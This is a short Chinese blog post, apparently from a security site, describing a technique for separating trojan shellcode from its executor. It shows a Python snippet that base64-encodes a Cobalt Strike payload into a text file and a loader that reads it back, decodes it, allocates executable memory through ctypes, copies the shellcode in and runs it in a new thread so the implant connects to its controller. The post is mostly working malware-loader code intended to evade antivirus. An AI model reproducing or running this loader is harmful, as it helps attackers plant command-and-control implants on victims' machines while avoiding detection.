无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
Suckerbin24 分钟前
LAMPSecurity: CTF5靶场渗透
笔记·安全·web安全·网络安全
水兵没月1 小时前
解决Win11 安全中心删掉存在隐患的工具
安全
码农101号2 小时前
运维安全04 - iptable的介绍以及使用
安全
行思理6 小时前
linux 安全与防护,全方向讲解
linux·安全·github
深盾安全6 小时前
Flutter框架编译Android程序全攻略:从入门到进阶
安全
房屋安全鉴定检测6 小时前
房屋安全鉴定报告有效期多久
安全·网络安全
心 一6 小时前
Web安全基石:深入理解与防御SQL注入漏洞
sql·安全·web安全
房屋安全鉴定检测8 小时前
房屋安全鉴定需要什么条件
安全·网络安全
wanhengidc8 小时前
什么是云手机?
运维·网络·安全·游戏·智能手机
FLS16810 小时前
Kali搭建sqli-labs靶场
linux·sql·安全·网络安全